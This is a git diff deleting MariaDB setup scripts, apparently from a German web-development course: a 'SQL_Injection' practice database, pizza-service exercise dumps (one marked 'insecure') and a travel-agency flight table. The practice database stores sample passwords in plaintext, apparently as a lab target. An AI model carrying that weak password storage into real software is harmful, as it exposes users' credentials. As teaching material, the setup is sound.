--- /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
--- /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
--- /*!40101 SET NAMES utf8mb4 */;
-
--- 
--- Datenbank: `SQL_Injection`
--- UTF8 Header äüöüßßßäü
-
-
-CREATE DATABASE IF NOT EXISTS `SQL_Injection`
-CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `SQL_Injection`;
-
-
-SET NAMES utf8mb4;
-
--- ----------------------------------------------------------------
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `accounts`
---
-
-CREATE TABLE IF NOT EXISTS `accounts` (
-  `id` int(11) NOT NULL,
-  `Email` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `SecretPassword` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `SecretData` varchar(255) COLLATE utf8_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-INSERT INTO `accounts` (`id`, `Email`, `SecretPassword`, `SecretData`) VALUES
-(1, 'hans.mustermann@mail.com', '123', 'GanzGeheim'),
-(2, 'JohnDoe@yahoo.com', 'abc', 'Top Secret'),
-(3, 'Hurz@kerkeling.de', 'quertz', 'Das Lamm...');
-
-ALTER TABLE `accounts`
-  ADD PRIMARY KEY (`id`);
-
-ALTER TABLE `accounts`  
-    MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-COMMIT;
-
-
-CREATE TABLE IF NOT EXISTS `attack` (
-  `EscapedEmail` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `EscapedPassword` varchar(255) COLLATE utf8_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
diff --git a/mariadb/mariadb.setup/50-Pizzaservice_Ute_2020.sql b/mariadb/mariadb.setup/50-Pizzaservice_Ute_2020.sql
deleted file mode 100644
index dcf02e27406d4a72d9a5b1e41da4c5445b2c5fc4..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/50-Pizzaservice_Ute_2020.sql
+++ /dev/null
@@ -1,157 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: 127.0.0.1
--- Erstellungszeit: 13. Feb 2020 um 14:05
--- Server-Version: 10.4.11-MariaDB
--- PHP-Version: 7.4.2
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `pizzaservice_ute_2020`
---
-CREATE DATABASE IF NOT EXISTS `pizzaservice_ute_2020`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `pizzaservice_ute_2020`;
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `article`
---
-
-CREATE TABLE `article` (
-  `id` int(11) NOT NULL,
-  `name` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
-  `picture` varchar(254) COLLATE utf8_unicode_ci NOT NULL,
-  `price` float NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `article`
---
-
-INSERT INTO `article` (`id`, `name`, `picture`, `price`) VALUES
-(1, 'Salami', 'pizza.gif', 8.5),
-(2, 'Vegetaria', 'pizza.gif', 12.5),
-(3, 'Spinat-Hühnchen', 'pizza.gif', 11.5);
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `order`
---
-
-CREATE TABLE `order` (
-  `id` int(11) NOT NULL,
-  `address` varchar(200) COLLATE utf8_unicode_ci NOT NULL,
-  `timestamp` timestamp NOT NULL DEFAULT current_timestamp()
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `order`
---
-
-INSERT INTO `order` (`id`, `address`, `timestamp`) VALUES
-(16, 'Birkenweg 7, 2. Stock, Telefon: 12325, Mustermann', '2020-02-13 12:58:56'),
-(17, 'Schöfferstr. 8b, 1637733, Musterfrau', '2020-02-13 13:01:49');
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `ordered_articles`
---
-
-CREATE TABLE `ordered_articles` (
-  `id` int(11) NOT NULL,
-  `f_article_id` int(11) NOT NULL,
-  `f_order_id` int(11) NOT NULL,
-  `status` int(11) NOT NULL DEFAULT 0
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `ordered_articles`
---
-
-INSERT INTO `ordered_articles` (`id`, `f_article_id`, `f_order_id`, `status`) VALUES
-(39, 1, 16, 3),
-(40, 1, 16, 3),
-(41, 2, 16, 3),
-(42, 3, 16, 3),
-(43, 2, 17, 1),
-(44, 2, 17, 0),
-(45, 3, 17, 1);
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `article`
---
-ALTER TABLE `article`
-  ADD PRIMARY KEY (`id`);
-
---
--- Indizes für die Tabelle `order`
---
-ALTER TABLE `order`
-  ADD PRIMARY KEY (`id`);
-
---
--- Indizes für die Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  ADD PRIMARY KEY (`id`),
-  ADD KEY `index_article` (`f_article_id`) USING BTREE,
-  ADD KEY `index_order` (`f_order_id`) USING BTREE;
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `article`
---
-ALTER TABLE `article`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-
---
--- AUTO_INCREMENT für Tabelle `order`
---
-ALTER TABLE `order`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=18;
-
---
--- AUTO_INCREMENT für Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=46;
-
---
--- Constraints der exportierten Tabellen
---
-
---
--- Constraints der Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  ADD CONSTRAINT `ordered_articles_ibfk_1` FOREIGN KEY (`f_order_id`) REFERENCES `order` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
-  ADD CONSTRAINT `ordered_articles_ibfk_2` FOREIGN KEY (`f_article_id`) REFERENCES `article` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/51-pizzaservice_Ute_2020_insecure.sql b/mariadb/mariadb.setup/51-pizzaservice_Ute_2020_insecure.sql
deleted file mode 100644
index 9c5b7142911bd68bb282a418d1b22384642f5682..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/51-pizzaservice_Ute_2020_insecure.sql
+++ /dev/null
@@ -1,157 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: 127.0.0.1
--- Erstellungszeit: 13. Feb 2020 um 14:05
--- Server-Version: 10.4.11-MariaDB
--- PHP-Version: 7.4.2
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `pizzaservice_ute_2020_insecure`
---
-CREATE DATABASE IF NOT EXISTS `pizzaservice_ute_2020_insecure`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `pizzaservice_ute_2020_insecure`;
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `article`
---
-
-CREATE TABLE `article` (
-  `id` int(11) NOT NULL,
-  `name` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
-  `picture` varchar(254) COLLATE utf8_unicode_ci NOT NULL,
-  `price` float NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `article`
---
-
-INSERT INTO `article` (`id`, `name`, `picture`, `price`) VALUES
-(1, 'Salami', 'pizza.gif', 8.5),
-(2, 'Vegetaria', 'pizza.gif', 12.5),
-(3, 'Spinat-Hühnchen', 'pizza.gif', 11.5);
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `order`
---
-
-CREATE TABLE `order` (
-  `id` int(11) NOT NULL,
-  `address` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `timestamp` timestamp NOT NULL DEFAULT current_timestamp()
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `order`
---
-
-INSERT INTO `order` (`id`, `address`, `timestamp`) VALUES
-(16, 'Birkenweg 7, 2. Stock, Telefon: 12325, Mustermann', '2020-02-13 12:58:56'),
-(17, 'Schöfferstr. 8b, 1637733, Musterfrau', '2020-02-13 13:01:49');
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `ordered_articles`
---
-
-CREATE TABLE `ordered_articles` (
-  `id` int(11) NOT NULL,
-  `f_article_id` int(11) NOT NULL,
-  `f_order_id` int(11) NOT NULL,
-  `status` int(11) NOT NULL DEFAULT 0
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `ordered_articles`
---
-
-INSERT INTO `ordered_articles` (`id`, `f_article_id`, `f_order_id`, `status`) VALUES
-(39, 1, 16, 3),
-(40, 1, 16, 3),
-(41, 2, 16, 3),
-(42, 3, 16, 3),
-(43, 2, 17, 1),
-(44, 2, 17, 0),
-(45, 3, 17, 1);
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `article`
---
-ALTER TABLE `article`
-  ADD PRIMARY KEY (`id`);
-
---
--- Indizes für die Tabelle `order`
---
-ALTER TABLE `order`
-  ADD PRIMARY KEY (`id`);
-
---
--- Indizes für die Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  ADD PRIMARY KEY (`id`),
-  ADD KEY `index_article` (`f_article_id`) USING BTREE,
-  ADD KEY `index_order` (`f_order_id`) USING BTREE;
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `article`
---
-ALTER TABLE `article`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-
---
--- AUTO_INCREMENT für Tabelle `order`
---
-ALTER TABLE `order`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=18;
-
---
--- AUTO_INCREMENT für Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=46;
-
---
--- Constraints der exportierten Tabellen
---
-
---
--- Constraints der Tabelle `ordered_articles`
---
-ALTER TABLE `ordered_articles`
-  ADD CONSTRAINT `ordered_articles_ibfk_1` FOREIGN KEY (`f_order_id`) REFERENCES `order` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
-  ADD CONSTRAINT `ordered_articles_ibfk_2` FOREIGN KEY (`f_article_id`) REFERENCES `article` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/60-reisebuero.sql b/mariadb/mariadb.setup/60-reisebuero.sql
deleted file mode 100644
index 4b4714064a38a58c3c3304d2f4de0988a1de95e5..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/60-reisebuero.sql
+++ /dev/null
@@ -1,355 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 4.5.1
--- http://www.phpmyadmin.net
---
--- Host: 127.0.0.1
--- Erstellungszeit: 06. Mrz 2020 um 15:03
--- Server-Version: 10.1.19-MariaDB
--- PHP-Version: 7.0.13
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `reisebuero`
---
-CREATE DATABASE IF NOT EXISTS `reisebuero` DEFAULT CHARACTER SET latin1 COLLATE latin1_general_ci;
-USE `reisebuero`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `flug`
---
-
-CREATE TABLE IF NOT EXISTS `flug` (
-  `FlugNr` int(11) NOT NULL AUTO_INCREMENT,
-  `Zielflughafen` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Datum` date DEFAULT NULL,
-  `Uhrzeit` time DEFAULT NULL,
-  `Heimatflughafen` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `Fluggesellschaft` varchar(50) COLLATE latin1_general_ci DEFAULT NULL,
-  `istHinflug` tinyint(1) DEFAULT NULL,
-  `Preis` double DEFAULT NULL,
-  `PauschalNr` int(11) DEFAULT NULL,
-  PRIMARY KEY (`FlugNr`)
-) ENGINE=MyISAM AUTO_INCREMENT=97 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
-
---
--- Daten für Tabelle `flug`
---
-
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(1, 'Palma de Mallorca', '2002-04-21', '18:00:00', 'Frankfurt', 'Hapag Lloyd', 1, 79, 1);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(2, 'Palma de Mallorca', '2002-04-24', '08:30:00', 'Berlin-Tegel', 'Germania', 1, 79, 2);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(3, 'Palma de Mallorca', '2002-04-26', '17:25:00', 'Hamburg', 'Hapag Lloyd', 1, 79, 3);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(4, 'Teneriffa', '2002-04-21', '09:10:00', 'Bruessel', 'Sobelair', 1, 80, 4);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(5, 'Palma de Mallorca', '2002-04-24', '08:30:00', 'Berlin-Tegel', 'Germania', 1, 81, 5);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(6, 'Antalya', '2002-04-30', '06:00:00', 'Hannover', 'Hapag Lloyd', 1, 81, 6);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(7, 'Palma de Mallorca', '2002-04-19', '09:15:00', 'Hahn', 'Air Europa', 1, 82, 7);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(8, 'Palma de Mallorca', '2002-04-19', '16:30:00', 'Duesseldorf', 'Hapag Lloyd', 1, 82, 8);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(9, 'Palma de Mallorca', '2002-04-19', '16:50:00', 'Hamburg', 'Hapag Lloyd', 1, 82, 9);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(10, 'Palma de Mallorca', '2002-04-20', '08:45:00', 'Muenchen', 'Air Europa', 1, 82, 10);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(11, 'Palma de Mallorca', '2002-04-20', '16:55:00', 'Hannover', 'Air Europa', 1, 82, 11);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(12, 'Palma de Mallorca', '2002-04-20', '17:40:00', 'Nuernberg', 'Hapag Lloyd', 1, 82, 12);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(13, 'Palma de Mallorca', '2002-04-26', '17:25:00', 'Hamburg', 'Hapag Lloyd', 1, 82, 13);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(14, 'Palma de Mallorca', '2002-04-21', '18:00:00', 'Frankfurt', 'Hapag Lloyd', 1, 82, 14);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(15, 'Teneriffa', '2002-04-21', '09:10:00', 'Bruessel', 'Sobelair', 1, 82, 15);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(16, 'Antalya', '2002-04-30', '06:00:00', 'Hannover', 'Hapag Lloyd', 1, 82, 16);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(17, 'Palma de Mallorca', '2002-04-20', '17:45:00', 'Frankfurt', 'Hapag Lloyd', 1, 83, 17);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(18, 'Palma de Mallorca', '2002-04-26', '11:10:00', 'Dresden', 'LTE Internation', 1, 83, 18);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(19, 'Palma de Mallorca', '2002-04-21', '01:30:00', 'Lyon', 'Futura', 1, 84, 19);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(20, 'Palma de Mallorca', '2002-04-24', '08:30:00', 'Berlin-Tegel', 'Germania', 1, 84, 20);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(21, 'Ibiza', '2002-04-30', '07:45:00', 'Muenchen', 'Condor', 1, 84, 21);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(22, 'Palma de Mallorca', '2002-04-26', '17:25:00', 'Hamburg', 'Hapag Lloyd', 1, 85, 22);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(23, 'Malta', '2002-04-20', '16:40:00', 'Mulhouse', 'Air Malta', 1, 85, 23);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(24, 'Palma de Mallorca', '2002-04-22', '06:20:00', 'Muenchen', 'Condor', 1, 85, 24);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(25, 'Djerba', '2002-04-22', '04:20:00', 'Koeln/Bonn', 'Air Berlin', 1, 85, 25);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(26, 'Djerba', '2002-04-22', '15:35:00', 'Duesseldorf', 'LTU', 1, 85, 26);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(27, 'Djerba', '2002-04-22', '11:40:00', 'Leipzig', 'Air Berlin', 1, 85, 27);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(28, 'Djerba', '2002-04-22', '09:00:00', 'Berlin-Tegel', 'Germania', 1, 85, 28);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(29, 'Teneriffa', '2002-04-21', '09:10:00', 'Bruessel', 'Sobelair', 1, 86, 29);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(30, 'Palma de Mallorca', '2002-04-20', '17:45:00', 'Frankfurt', 'Hapag Lloyd', 1, 87, 30);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(31, 'Palma de Mallorca', '2002-04-21', '18:00:00', 'Frankfurt', 'Hapag Lloyd', 1, 87, 31);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(32, 'Palma de Mallorca', '2002-04-24', '08:30:00', 'Berlin-Tegel', 'Germania', 1, 87, 32);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(33, 'Palma de Mallorca', '2002-04-21', '18:55:00', 'Stuttgart', 'Hapag Lloyd', 1, 88, 33);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(34, 'Palma de Mallorca', '2002-04-21', '12:45:00', 'Muenchen', 'Hapag Lloyd', 1, 88, 34);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(35, 'Palma de Mallorca', '2002-04-26', '11:10:00', 'Dresden', 'LTE Internation', 1, 88, 35);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(36, 'Palma de Mallorca', '2002-04-26', '17:25:00', 'Hamburg', 'Hapag Lloyd', 1, 88, 36);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(37, 'Antalya', '2002-04-28', '17:20:00', 'Hamburg', 'Hapag Lloyd', 1, 88, 37);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(38, 'Antalya', '2002-04-30', '06:00:00', 'Hannover', 'Hapag Lloyd', 1, 88, 38);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(39, 'Palma de Mallorca', '2002-04-27', '17:45:00', 'Frankfurt', 'Hapag Lloyd', 1, 89, 39);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(40, 'Teneriffa', '2002-04-21', '09:10:00', 'Bruessel', 'Sobelair', 1, 89, 40);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(41, 'Palma de Mallorca', '2002-04-27', '17:45:00', 'Frankfurt', 'Hapag Lloyd', 1, 89, 41);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(42, 'Teneriffa', '2002-04-21', '09:10:00', 'Bruessel', 'Sobelair', 1, 89, 42);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(43, 'Palma de Mallorca', '2002-04-27', '09:45:00', 'Stuttgart', 'Air Europa', 1, 90, 43);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(44, 'Palma de Mallorca', '2002-04-28', '06:25:00', 'Nuernberg', 'Hapag Lloyd', 1, 90, 44);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(45, 'Palma de Mallorca', '2002-04-28', '06:25:00', 'Nuernberg', 'Hapag Lloyd', 1, 90, 45);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(46, 'Palma de Mallorca', '2002-04-28', '17:45:00', 'Stuttgart', 'Hapag Lloyd', 1, 90, 46);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(47, 'Palma de Mallorca', '2002-04-28', '17:45:00', 'Stuttgart', 'Hapag Lloyd', 1, 90, 47);
-INSERT INTO `flug` (`FlugNr`, `Zielflughafen`, `Datum`, `Uhrzeit`, `Heimatflughafen`, `Fluggesellschaft`, `istHinflug`, `Preis`, `PauschalNr`) VALUES(48, 'Palma de Mallorca', '2002-04-21', '18:00:00', 'Frankfurt', 'Hapag Lloyd', 1, 90, 48);
